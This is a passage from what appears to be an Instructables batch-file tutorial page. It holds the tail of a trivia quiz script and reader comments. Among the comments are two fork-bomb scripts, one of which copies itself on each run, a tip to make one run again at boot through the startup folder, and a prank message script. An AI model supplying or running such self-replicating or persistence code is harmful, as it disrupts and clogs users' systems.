jazz=</p><p>If %jazz% == a goto q5</p><p>If %jazz% == b goto no4</p><p>If %jazz% == c goto no4</p><p>If %jazz% == d goto no4</p><p>:question200</p><p>cls</p><p>echo Question 3. Your Points: 10</p><p>echo -----------</p><p>echo.</p><p>echo Which American city is considered the home of Jazz?</p><p>echo.</p><p>echo a) New Orleans</p><p>echo b) New York</p><p>echo c) Boston</p><p>echo d) Dixie</p><p>echo -----------------</p><p>set /p jazz=</p><p>If %jazz% == a goto q6</p><p>If %jazz% == b goto no5</p><p>If %jazz% == c goto no5</p><p>If %jazz% == d goto no5</p><p>:question2000</p><p>cls</p><p>echo Question 3. Your Points: 0</p><p>echo -----------</p><p>echo.</p><p>echo Which American city is considered the home of Jazz?</p><p>echo.</p><p>echo a) New Orleans</p><p>echo b) New York</p><p>echo c) Boston</p><p>echo d) Dixie</p><p>echo -----------------</p><p>set /p jazz=</p><p>If %jazz% == a goto q7</p><p>If %jazz% == b goto no5</p><p>If %jazz% == c goto no5</p><p>If %jazz% == d goto no5</p><p>:q4</p><p>cls</p><p>echo CORRECT!</p><p>echo.</p><p>timeout 1 &gt;nul</p><p>echo YOUR total points were: 30</p><p>pause &gt;nul</p><p>goto games</p><p>:q5</p><p>cls</p><p>echo CORRECT!</p><p>echo.</p><p>timeout 1 &gt;nul</p><p>echo YOUR total points were: 20</p><p>pause &gt;nul</p><p>goto games</p><p>:q6</p><p>cls</p><p>echo CORRECT!</p><p>echo.</p><p>timeout 1 &gt;nul</p><p>echo YOUR total points were: 20</p><p>pause &gt;nul</p><p>goto games</p><p>:q7</p><p>cls</p><p>echo CORRECT!</p><p>echo.</p><p>timeout 1 &gt;nul</p><p>echo YOUR total points were: 10</p><p>pause &gt;nul</p><p>goto games</p><p>:no3</p><p>cls</p><p>echo WRONG ANSWER!</p><p>echo.</p><p>timeout 1 &gt;nul</p><p>echo Your total points were: 20</p><p>pause &gt;nul</p><p>goto games</p><p>:no4</p><p>cls</p><p>echo WRONG ANSWER!</p><p>echo.</p><p>timeout 1 &gt;nul</p><p>echo Your total points were: 10</p><p>pause &gt;nul</p><p>goto gameS</p><p>:no5</p><p>cls</p><p>echo WRONG ANSWER!</p><p>echo.</p><p>timeout 1 &gt;nul</p><p>echo Your total points were: 10</p><p>pause &gt;nul</p><p>goto games</p><p>:no6</p><p>cls</p><p>echo WRONG ANSWER!</p><p>echo.</p><p>timeout 1 &gt;nul</p><p>echo Your total points were: 0</p><p>pause &gt;nul</p><p>goto games</p><p>----------------------------------------</p><p>just copy and paste into notepad and save as *whatever*.bat</p>
how can u make a batch run in full screen
<p>In 95-XP, press [Alt] and [Enter/Return] together. On Vista+, right-click the area with the X and _, then click properties. Go to Layout and under window size, set 177 as width and 70 as height. Screen buffer width is 768 and SB height is 1024.</p>
right-click the toolbar of a batch file and click properties and option option to make full screen is there
on vista and 7 it's not possibe<br>If you try alternate command interpreters, like Take Command(TC), it's may working
cant.<br />
On XP, press Alt+Enter with the window selected. On 7, can't. On Vista, enlighten me, please...
<p>today I want to share a fantastic passage for english learners!</p>
sending batch files is Illegal in many states
why??? How odd.
Because you can generate viruses, steal information,etc.
:| Gmail won`t let me send my version of Catch the Clown!! (saved in ctc.<strong>exe</strong>)<br/>
put it into zip or rar
you mean you use gamemaker too?
what the hell OS are u using???
read all of the instructable <br>
you dont't have camera:P but the 2nd pic, what os is in there?
hey guys i was just wondering how do i make the image start AFTER the last message?<br/><br/>my batch is down there<br/><br/>@echo off<br/>msg * hello<br/>msg * who<br/>msg * are<br/>msg * you<br/>msg * im<br/>msg * the<br/>msg * hacker<br/>msg * youve<br/>msg * been<br/>msg * very<br/>msg * bad<br/>msg * so<br/>msg * im<br/>msg * going<br/>msg * to<br/>msg * teach<br/>msg * you<br/>msg * a<br/>msg * lesson! <br/>start <a rel="nofollow" href="http://www.fugly.com/media/IMAGES/WTF/fat-guy-in-a-diaper.jpg">http://www.fugly.com/media/IMAGES/WTF/fat-guy-in-a-diaper.jpg</a><br/>
@echo off <br>msg * hello <br>msg * who <br>msg * are <br>msg * you <br>msg * im <br>msg * the <br>msg * hacker <br>msg * youve <br>msg * been <br>msg * very <br>msg * bad <br>msg * so <br>msg * im <br>msg * going <br>msg * to <br>msg * teach <br>msg * you <br>msg * a <br>msg * lesson! <br>ping localhost -n 30 &gt;nul <br>start http://www.fugly.com/media/IMAGES/WTF/fat-guy-in-a-diaper.jpg <br> <br>This should work
i say you must run batch bombs in VM or DosBox <br>because there isn't damage to your computer
you can, right click the bar at the top&gt;properties&gt;Full screen (Under Display Options)&gt;click ok&gt; choose between current window and all windows.<br /> <br />
this is my fork bomb<br /> ===================<br /> :s<br /> %0<br /> goto :s<br />
i know i 13 year old who can hack anything so its believable, but hes probobly lying bout his age.
nah, i'm 15 and i only know a little bit more than mutant
im 12 and i now more than he shows in dis instructable
I`m 7 and I know <em>waaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaay</em> more then <em>that</em> (for batch, at least)<br/>
if your 7 then you shouldnt have an account here cause that would breach the TOS (but who cares?).
I am 2 years of age.I can not ever read the TOS.
if you were 2 you couldn't even type<br />
And if your feeling real mean:<br/><pre>:topstart %0copy /Y %0 %random%.batgoto top</pre>If you are even going to try this, do it in a folder! It is a fork bomb, but every time it opens, it creates a copy of itself!<br/>
lol you need to make it reopen when you boot by puting it in the start up folder
can someone post an instructable on how to make a video like the star wars thing?
all it is linking/ connecting to a site with that starwars vid playing in cmd |-(
I understand, but I would like to learn how to make a movie like it in command prompt.
Help me, i cant get the txt file to open as batch, it always saves as .bat.txt and it's open with notepad BTW im on vista (and i go it dualbooting as a hackintosh
under where u name it did u select all file types or w/e?
I fixed it mate thanks, by just naming it as .BAT instead of .bat Thanks mate
wow the star wars thing was amazing im currently learning how to use batch and notepad and all so if u have any tips plz send them. Like how do u make a batch account?
Interesting. I think you could make a matrix like effect if you could get like a matrix font, set the font type and then use the "random character" batch file up there. Also that break the internet thing basically delete the hosts file, which probably does make the internet not work... ~Istarian
try this:
thanx, you can change it to random letters? obviously, but like matrix letters? and i ask questions sometimes cause i take stuff from other instructables
I'm not sure, but it seems logical that there ought to be a way to change the font, and with a matrix font, you could have random letters that are matrix characters. There's just one issue, it won't ever look right, because there won't be any blank or continous letter streams, but then batch files have limits. An animated GIF file that looks like the matrix would be cool though. ~Istarian
well, i wanted it to read something creepy like the matrix will rape you. but i want them to read it in a modern way
what exactaly does this code do????
it's the virus blue screen revised
pretty cool i guess.
Thanks for publishing. This tutorial looks good, but needs pictures to really shine on the site. What tends to happen is that instructables without pictures get lost in the crowd and don't see many hits. Would you mind getting pictures of the process (if it's really difficult, you can find pictures that fit well enough on Google and use them) and resubmitting after you've edited them in?

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